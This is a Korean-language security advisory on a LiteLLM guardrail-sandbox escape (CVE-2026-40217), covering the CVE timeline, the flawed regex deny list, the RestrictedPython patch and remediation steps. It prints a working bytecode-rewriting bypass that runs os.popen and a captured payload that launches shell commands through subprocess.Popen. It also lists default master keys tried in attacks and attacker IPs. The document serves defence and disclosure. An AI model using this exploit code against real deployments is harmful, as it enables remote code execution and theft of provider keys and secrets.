[긴급 속보] BerriAI LiteLLM 제로데이 취약점(CVE-2026-40217) 실제 악용 확인… 즉시 패치 권고
LiteLLM 가드레일 테스터의 정규식 34개짜리 샌드박스가 바이트코드 재작성으로 뚫린 CVE-2026-40217이 11월 18일 CISA KEV에 등재됐다. 4월 패치 이후에도 허니팟에는 마스터키 추측과 환경변수 탈취 페이로드가 계속 들어왔고, 연방기관 기한은 12월 2일이다.
2026년 11월 18일, CISA는 카탈로그 버전 2026.11.18(총 1,786건)을 내면서 BerriAI LiteLLM의 /guardrails/test_custom_code 바이트코드 재작성 RCE(CVE-2026-40217)를 KEV에 등재했다. 요구 조치 기한은 12월 2일, 랜섬웨어 캠페인 사용 여부는 Unknown, 포렌식 트리아지 의무는 No다. 약점 분류는 CVE 레코드 기준 CWE-420(보호되지 않은 대체 채널)이고, Red Hat 쪽 분석은 CWE-94(코드 생성 통제 실패)를 함께 붙였다. KEV 등재는 "이 결함이 실제 공격에 쓰였다"는 관측이고, 동시에 이 사건이 공개 7개월 만에야 그 단계에 도달했다는 뜻이기도 하다.
시간순으로 놓으면 이 결함의 성격이 더 분명해진다. X41 D-Sec의 Markus Vervier가 2026년 2월 13일 PoC를 만들고 제보했고, 벤더는 2월 24일 커밋 e50b4486으로 관리자 인증 의존성과 34개 정규식 목록을 넣었다. 4월 8일 X41이 권고 X41-2026-001을 공개했을 때 CVSS 4.0 점수는 8.7(AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H), 확인된 패치 버전은 "TBD"였다. 4월 15일 벤더가 code_validator.py를 삭제하는 커밋 0a1b442를 냈고, 그 릴리스가 1.83.10이다. NVD 레코드는 4월 10일 게시돼 CVSS 3.1 8.8(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)로 HIGH에 올랐고, CNA가 매긴 GitHub 권고 GHSA-wxxx-gvqv-xp7p는 5월 7일 공개되면서 이 취약점을 Moderate 5.9(AC:H/PR:H/VC:L/VI:L/VA:H)로 적었다. 같은 결함에 8.7, 8.8, 5.9가 붙어 있는 셈인데, 이 간극이 이 사건의 실질적인 교훈이다. 점수를 낮춘 근거는 "관리자 자격증명이 필요하다"였고, 실제 침해에서는 그 전제가 유지되지 않았다.
전제가 무너지는 방식은 두 갈래다. 첫째, LiteLLM 배포 관행 자체가 관리자 자격증명을 공개 발급물로 만든다. Wiz Research가 2026년 2월 Shodan에서 확인한 인터넷 노출 LiteLLM 인스턴스 3,074대 중 294대(9.6%)가 문서 예제 키인 sk-1234를 그대로 받아들였고, 그중 191대(6.2%)는 마스터키가 아예 설정되지 않아 어떤 문자열이든 통과시켰다. 8월 재스캔에서는 85,000대 이상이 잡혔지만 대부분 허니팟·테스트 배포라 두 수치를 비교할 수는 없다. ZoomEye는 9월 20일 기준 LiteLLM 지문 인스턴스를 35,130개로 셌다. Wiz 데이터로 LiteLLM은 클라우드 환경의 약 3분의 1에 존재한다. 둘째, LiteLLM 자체의 권한 상승 체인(CVE-2026-47101, CVE-2026-47102)이 기본 internal_user를 proxy_admin까지 올려준다. Obsidian Security가 6월 공개한 이 체인은 /key/generate로 관리자 라우트 권한을 가진 키를 발급하고 /user/update로 user_role을 덮어쓰는 두 단계로, 합산 CVSS 9.9다. 결국 PR:H였던 이 취약점의 실효 권한 요구는 "게이트웨이 어딘가의 낮은 권한 계정"까지 내려온다.
게이트웨이가 뚫렸을 때의 파급력은 위치에서 나온다. LiteLLM 프록시는 모든 제공자 API 키(OpenAI, Anthropic, Gemini, Bedrock, Azure)를 들고 있고, 모든 프롬프트와 응답이 그 몸을 지나며, MCP 게이트웨이로 쓰이는 배포에서는 OAuth 토큰과 내부 도구 자격증명까지 붙는다. 여기에 LITELLM_MASTER_KEY, DB 자격증명을 복호화하는 LITELLM_SALT_KEY, DATABASE_URL이 같은 호스트 환경변수에 있다. 이 취약점이 노리는 경로가 바로 그 환경변수다. 아래는 5월 허니팟에서 실제로 잡힌 페이로드가 노린 것과 정확히 일치한다.
1. 가드레일 테스터: 신뢰 경계가 문자열 검사 한 겹이었다
LiteLLM의 커스텀 코드 가드레일은 관리자가 작성한 Python 함수를 프록시가 컴파일해 요청·응답 경로에서 실행하는 기능이다. apply_guardrail(inputs, request_data, input_type) 시그니처로 allow/block/modify를 돌려주고, 흔한 용도는 PII 마스킹이나 프롬프트 내 시크릿 차단이다. 이 기능에는 코드를 컴파일하는 엔드포인트가 둘 있다. 운영용 POST /guardrails(등록 즉시 인메모리 콜백으로 컴파일)와, 코드를 먼저 테스트해 보는 POST /guardrails/test_custom_code다. 둘은 같은 컴파일 함수를 공유했고, 결함도 공유했다.
취약점 공개 전의 컴파일 경로는 litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py의 _compile_custom_code()였다. 요청 본문의 custom_code 문자열이 검증을 통과하면 그대로 compile()되고, 프리미티브 집합을 복사한 globals로 exec()된다.
exec_globals = get_custom_code_primitives().copy()
# Execute the user code in the restricted environment
exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)이 함수에는 __builtins__ 키가 없다. CPython은 exec()에 넘긴 globals에 __builtins__가 없으면 실제 builtins 모듈을 조용히 주입한다. 즉 이 경로에는 샌드박스가 아니라 완전한 내장 함수 네임스페이스가 들어 있었고, 관리자가 잠근 프로덕션 엔드포인트에서 import os가 그대로 통했다. Obsidian은 이 변형을 별도 CVE로 요청하지 않고 같은 CVE-2026-40217 아래 기록했다.
테스트 엔드포인트는 한 겹 더 있었다. code_validator.py(63줄)의 validate_custom_code()가 제출된 소스를 34개 정규식과 re.search()로 대조하고, 하나라도 걸리면 CustomCodeValidationError를 던진다. 목록은 개발자의 위협 모델을 그대로 옮겨 적은 문서 같은 물건이다.
FORBIDDEN_PATTERNS: List[Tuple[str, str]] = [
(r"\bimport\s+", "import statements are not allowed"),
(r"__import__\s*\(", "__import__() is not allowed"),
(r"\bexec\s*\(", "exec() is not allowed"),
(r"\beval\s*\(", "eval() is not allowed"),
(r"\bopen\s*\(", "open() is not allowed"),
(r"__builtins__", "__builtins__ access is not allowed"),
(r"__globals__", "__globals__ access is not allowed"),
(r"__code__", "__code__ access is not allowed"),
(r"__class__", "__class__ access is not allowed"),
(r"\bos\.", "os module access is not allowed"),
(r"\bsubprocess\.", "subprocess module access is not allowed"),
# … 나머지 23개
]검증은 compile() 이전에 한 번 돈다. 통과한 소스는 바이트코드로 컴파일되고, 실행 시 exec_globals["__builtins__"] = {}가 덮어써진다. 벤더가 2월에 추가한 두 방어가 이 두 겹이다. 하나는 Depends(user_api_key_auth)와 역할 검사로 비관리자를 403으로 막는 인증이고, 다른 하나는 이 정규식 목록이다. 인증은 X41이 처음 신고한 미인증 경로를 닫았다. 그리고 정규식은 인증 뒤의 심층 방어로 설계됐다.
무너진 불변식은 "검사한 것과 실행되는 것이 같다"였다. 정규식 엔진이 읽는 것은 소스 문자열이고, CPython이 실행하는 것은 그 문자열이 계산해 내는 값이다. 문자열 리터럴 여섯 개와 + 연산자로 이루어진 식에는 연속된 __globals__ 부분 문자열이 어떤 오프셋에도 존재하지 않는다. re.search()는 None을 돌려주고, 인터프리터는 런타임에 그 여섯 조각을 붙여 __globals__를 만든다. 검사 계층과 실행 계층이 서로 다른 산출물을 보고 있었다.
2. co_names 한 칸을 바꾸면 인터프리터가 다른 코드를 실행한다
X41의 우회는 여섯 단계이고, 어느 것도 난독화 기교가 아니다. 동적 인터프리터가 원래 하는 일들이다.
1단계는 문자열 연결이다. "__globals__"를 "_"+"_gl"+"ob"+"als"+"_"+"_"로 적으면 정규식은 보지 못하고 인터프리터는 값을 만든다. 2단계는 __class__ 대신 str.mro()[1]을 쓴다. 목록은 던더 표기 __mro__를 잡지만 맨 토큰 mro는 잡지 않으며, str.mro()[1]은 object다. 3단계는 __code__ 대신 gi_code다. 제너레이터 이터레이터의 gi_code는 그 함수의 __code__와 같은 코드 객체를 가리키고, 목록에는 gi_code도 replace도 co_names도 없다.
def apply_guardrail(inputs, request_data, input_type):
obj = str.mro()[1] # object
def g(fn):
yield fn.placeholder # 이 속성 이름은 나중에 바뀐다
c = g(None).gi_code # __code__ 대신 gi_code
gn = "_"+"_gl"+"ob"+"als"+"_"+"_" # "__globals__"
cn = "_"+"_co"+"de_"+"_" # "__code__"
obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
for v in g(http_get):
gd = v
break
bn = "_"+"_bu"+"ilt"+"ins"+"_"+"_"
imp = gd[bn]["_"+"_im"+"po"+"rt_"+"_"]
return {"rce": imp("os").popen("id").read()}핵심은 4단계다. code.replace(co_names=("__globals__",))는 코드 객체가 불변이라 제공되는 replace()로 이름 테이블만 갈아 끼운 새 코드 객체를 만든다. co_names는 바이트코드가 LOAD_ATTR·LOAD_GLOBAL 시점에 해석하는 이름 튜플이다. 원래 yield fn.placeholder는 "인자 fn의 placeholder 속성을 읽어라"로 컴파일돼 있지만, 이름 테이블이 바뀐 뒤에는 같은 바이트코드가 "인자 fn의 __globals__를 읽어라"로 동작한다. 소스에는 금지 토큰이 한 번도 등장하지 않았고, 검증은 이미 통과한 뒤다. 이 조작이 통하는 이유는 단순하다. 이 샌드박스에는 RestrictedPython의 _getattr_ 같은 런타임 속성 접근 훅이 없었다. 속성 이름은 컴파일 시점이 아니라 실행 시점에 co_names에서 해석되고, 훅이 없으면 그 이름이 던더든 아니든 그대로 실행된다.
5단계에서 g()에 http_get이 인자로 들어간다. 샌드박스가 제공하는 HTTP 헬퍼 함수의 __globals__는 샌드박스 globals가 아니라, 그 함수를 정의한 LiteLLM 모듈의 globals다. 그 안의 __builtins__는 진짜 builtins 모듈이다. exec_globals["__builtins__"] = {}는 컴파일된 소스의 전역 이름 조회만 제한하며, 다른 모듈에 살고 있는 객체의 속성을 타고 넘어가는 경로는 건드리지 못한다. 6단계는 imp("os").popen("id").read()다. 기본 Docker 이미지에서 이 코드는 uid=0(root)를 돌려준다. X41의 PoC는 docker run … -e LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest 한 줄로 재현된다.
3. 관측된 트래픽: 4월 15일 probe 520건, 5월의 환경변수 탈취
Zenity Labs의 허니팟 기록은 이 결함이 문서상 PoC로만 남지 않았다는 점을 보여준다. 2026년 4월 15일부터 5월 24일까지 센서에 들어온 POST /guardrails/test_custom_code 요청은 569건이다. 시계열이 특징적이다. 첫날인 4월 15일, 패치가 나온 바로 그날, 동일한 def apply_guardrail(i,r,t): return {'probe':1} 요청 520건이 몰렸다. 200 응답이 반환값을 그대로 돌려준다면 "내 키가 유효하고, 이 엔드포인트가 내 코드를 실제로 실행해 결과까지 준다"는 두 질문에 한 번에 답이 나온다. 정찰이 먼저, 익스플로잇이 나중이다.
인증 헤더는 sk-1234, sk-litellm-master-key, sk-admin, sk-changeme 같은 문서 기본값 47종을 돌려 쓰였고, 64건은 인증 헤더가 비어 있었다. 5월의 본 페이로드는 서로 다른 IP에서 들어왔다. 하나는 import os를 문자열 조각으로 재구성한 뒤 dict(os.environ)을 JSON으로 직렬화해 응답에 실어 보내는 환경변수 탈취형이고, 다른 하나는 응답을 기다리지 않는 백그라운드 실행형이다.
def apply_guardrail(inputs, request_data, input_type):
coro = http_request("http://127.0.0.1")
imp = coro.cr_frame.f_builtins["__import__"]
sp = imp("subprocess")
cmd = inputs["texts"][0] if inputs.get("texts") else "id"
sp.Popen(cmd, shell=True) # 不等待进程结束 — doesn't wait, dodges the 5s limit
coro.close()
return block("executed in background")제너레이터 대신 코루틴의 cr_frame을 쓴 변형이고, f_builtins로 프레임의 내장 함수 테이블에 직접 닿는다. 주석이 달린 이유도 실무적이다. 이 엔드포인트에는 대략 5초의 실행 제한이 있어서, Popen으로 프로세스를 띄우고 기다리지 않으면 제한 시간을 넘기지 않고 명령이 살아남는다. Zenity는 취약 버전(1.83.0)에 카나리 CANARY_LEAKED_OK_777을 심고 포획 페이로드를 재생해, 환경변수 dump가 카나리를 그대로 반환하고 Popen 페이로드가 명령을 실행하는 것을 확인했다. 같은 실험에서 import os를 그대로 쓴 단순 변형은 정규식에 걸려 Security violation: import statements are not allowed로 막혔다. 목록은 명백한 철자를 막고, 우회는 철자를 런타임에 조립한다.
이 트래픽의 성격은 CVE의 성격과 일치한다. 모든 요청이 이 CVE의 정확한 엔드포인트를 치고, LiteLLM의 apply_guardrail() 시그니처를 쓰고, 권고가 서술한 그 우회를 수행한다. Zenity가 공개한 관측 지표는 다음과 같다.
| 구분 | 값 |
|---|---|
| 남용 엔드포인트 | POST /guardrails/test_custom_code |
| 정찰 시그니처 | {'probe':1}만 반환하는 가드레일 |
| 탈취 시그니처 | 문자열 조각 던더 재조립, gi_code·cr_frame·f_builtins, dict(os.environ), subprocess.Popen(..., shell=True) |
| 인증 시도 | 문서 기본 마스터키 순환(sk-1234, sk-litellm-master-key, sk-admin, sk-changeme) |
| 출발 IP | 173.249.198.201, 108.78.4.10, 216.26.226.182, 125.81.162.148, 5.34.179.24, 164.52.192.134 |
KEV 등재가 4월 공개 이후 7개월 뒤에 이뤄진 이유를 공개 자료만으로 단정할 수는 없다. 다만 등재 시점의 정황은 분명하다. NVD의 SSVC 레코드는 6월 15일 시점에 exploitation: poc, technicalImpact: total로 남아 있었고, KEV는 그 상태를 실제 악용 관측으로 갱신했다. 포렌식 트리아지 의무가 No인 것은 행정적 구분이며, 이 취약점의 성질(환경변수 전량 읽기)을 생각하면 오히려 트리아지가 더 필요한 쪽이다.
4. 패치 분석: 검사 계층을 소스에서 AST와 런타임으로 옮기다
4월 15일 커밋 0a1b442는 code_validator.py를 삭제하고 sandbox.py를 추가했다. 새 컴파일 경로는 정규식이 아니라 RestrictedPython이다.
def compile_sandboxed(source: str, filename: str = " ") -> CodeType:
return compile_restricted(
source=source,
filename=filename,
mode="exec",
policy=AsyncAwareTransformer,
)compile_restricted()는 소스를 AST로 파싱해 트리를 순회하며 Import, ImportFrom, Exec, Eval, ClassDef, 던더 속성 접근 같은 노드를 구조 단위로 거부한다. 문자열 리터럴 노드 두 개와 + 연산 노드는 문자열 __globals__가 아니므로 AST 게이트에는 걸리지 않는다. 대신 런타임에 계산된 이름이 속성 접근에 쓰이는 순간을 잡는다. 새 샌드박스 globals는 RestrictedPython의 가드를 이름으로 묶어 넣는다.
def build_sandbox_globals() -> dict[str, object]:
return {
**get_custom_code_primitives(),
"__builtins__": _build_sandbox_builtins(),
"_getattr_": safer_getattr,
"_getitem_": default_guarded_getitem,
"_getiter_": budgeted_iter,
"_iter_unpack_sequence_": guarded_iter_unpack_sequence,
"_write_": full_write_guard,
"_inplacevar_": _inplacevar_,
"_budget_ok_": budget_ok,
}_getattr_가 safer_getattr로 바인딩되면서, 계산된 이름이 밑줄로 시작하는 속성 접근은 실행 시점에 차단된다. __builtins__ 자리에도 빈 딕셔너리가 아니라 safe_builtins·limited_builtins·utility_builtins를 합친 큐레이션 집합이 들어간다. limited_range가 range(10**18)을 거부하는 식으로 목록·범위도 상한이 붙고, AsyncAwareTransformer는 기본 변환기가 막는 async def/await를 문서화된 가드레일 패턴을 위해 허용하는 대신 while 조건에 실행 예산 검사를 끼워 넣는다. 정규식 34개가 사라지고, 검사는 인터프리터가 보는 산출물(AST, 그리고 계산된 속성 이름)에 걸린다.
버전 대응은 다음과 같다.
| 제품 | 취약 구간 | 수정판 | 비고 |
|---|---|---|---|
| LiteLLM (pip, Docker) | 1.81.8 이상 ~ 1.83.10 미만 | 1.83.10 이상 | 2026-04-15 릴리스, code_validator.py 삭제 |
| LiteLLM 권한 상승 체인 포함 | 위와 동일 | 1.83.14-stable 이상 | 2026-04-25, CVE-2026-47101·47102 포함 |
Red Hat AAP 2.6 lightspeed-chatbot-rhel9 | 번들 LiteLLM | RHSA-2026:24866 / RHSA-2026:30056 | Red Hat 분석(CWE-94) |
| Red Hat OpenShift AI 3.3 · Lightspeed Core | 번들 LiteLLM | 위 RHSA | 동일 |
주의할 점이 하나 있다. GHSA-wxxx-gvqv-xp7p 본문은 "Fixed in 1.83.11"이라고 적으면서 같은 페이지의 패키지 표에는 patched를 >= 1.83.10으로 표기한다. 실제 수정 커밋이 들어간 릴리스는 1.83.10이고, 1.83.10 이상을 쓰면 이 결함은 닫힌다. 2026년 11월 18일 현재 저장소의 최신 릴리스는 v1.111.0-rc.1(프리릴리스)이므로, 최신 계열을 쓰는 배포는 영향권이 아니다. 위험한 것은 2월~4월에 이미지를 고정해 둔 배포다.
실무 조치 순서는 이렇게 잡는 것이 합리적이다.
- 버전 확인:
pip show litellm또는docker exec <proxy> pip show litellm. 1.81.8~1.83.9 구간이면 즉시 대상이다. Docker 이미지를 digest로 고정한 배포는 태그가 아니라 digest를 확인해야 한다. - 즉시 완화: 업그레이드 전까지 리버스 프록시나 게이트웨이에서
POST /guardrails/test_custom_code를 403으로 막는다. nginx라면location = /guardrails/test_custom_code { deny all; return 403; }. 프로덕션 컴파일 경로(POST /guardrails,PUT /guardrails/{id})도 같은 CVE로 묶여 있으므로, 관리자 권한을 가진 키의 유출 여부를 함께 본다. - 자격증명 정리: 마스터키가
sk-1234나 문서 예제값이면 이 취약점과 무관하게 이미 관리자 권한이 공개된 상태다. 키를 회전하고,LITELLM_SALT_KEY와DATABASE_URL도 함께 본다. 마스터키는 세션 JWT의 HS256 서명 키로도 쓰이므로, 이 값이 알려지면 임의 사용자 세션을 위조할 수 있다. - 권한 축소: 기본 이미지는 root로 돈다. 비루트 이미지 변형을 쓰거나
--user로 낮추고, 관리 포트(4000)를 인터넷에 열지 않는다. 관리 평면은 원래 공개 인터넷에 있어야 할 물건이 아니다. - 탐지와 사후 확인: 프록시 로그에서
test_custom_code로 들어온 외부 POST, 본문의probe,gi_code/cr_frame/f_builtins/dict(os.environ)/Popen(..., shell=True)패턴,sk-값 순환 인증 시도를 본다. 침해가 의심되면 순서가 중요하다. 환경변수를 읽힌 시점에 제공자 키 전량이 이미 유출됐다고 가정하고, 제공자 키 → 마스터키·솔트키 → DB 비밀번호 순으로 회전한다. 프록시 아래 붙은 MCP 도구 토큰과 클라우드 IAM 자격증명까지 범위에 넣는다.
이 사건에서 남는 것은 패치 속도보다 설계 계층에 관한 것이다. 샌드박스를 소스 문자열 검사로 구현하면, 그 검사는 인터프리터가 계산할 값을 보지 못한다. 목록에 gi_code를 추가해도 다음 우회는 cr_code나 __class_getitem__으로 온다. 벤더가 결국 삭제한 것은 정규식 63줄이었고, 대체물은 인터프리터가 실제로 보는 계층(AST와 런타임 속성 훅)에 섰다. 지금 확인할 것은 버전 숫자 하나지만, 그 숫자가 7개월 동안 "관리자만 가능한 Moderate"로 분류돼 있었다는 사실은 남는다. 기본 마스터키를 쓰는 배포에서 그 전제는 처음부터 성립하지 않았다.
참고: 같은 날 KEV에 함께 오른 3건
CVE-2024-10441(Synology DSM / BeeStation OS)은 2024년 PWN2OWN에서 나온 system plugin daemon의 출력 인코딩 결함으로 CVSS 9.8(AV:N/AC:L/PR:N/UI:N)이다. DSM은 7.2-64570-4, 7.2.1-69057-6, 7.2.2-72806-1 이상, BSM은 1.1-65374 이상으로 올려야 하며, 패치가 나온 지 2년이 지나 KEV에 들어왔다는 것은 미적용 장비에서의 악용이 관측됐다는 뜻으로 읽힌다. CVE-2026-90817(Vanderbilt REDCap)은 13.3.0 이상에서 공개 설문 컨텍스트로 __passthru를 이중 URL 인코딩(%2569ndex.php)해 DataImportController:index에 닿고, fname에 PHP 필터 체인을 넣어 Blade 캐시를 덮어쓰는 미인증 RCE(CVSS 9.8)다. 유효한 설문 해시 하나만 있으면 되고, 수정판은 16.0.49 LTS·17.3.10 LTS·17.4.4다. 두 건 모두 기한이 11월 21일이고 포렌식 트리아지가 의무(Yes)다. CVE-2026-90436(Apache Axis)은 11월 17일 정기 브리프에서 이미 다뤘으므로 여기서는 생략한다.
이 리포트는 공개된 연구·공지·패치 자료를 근거로 작성되었습니다. 인용된 침해 지표는 해당 벤더와 연구기관의 발표 시점 기준입니다.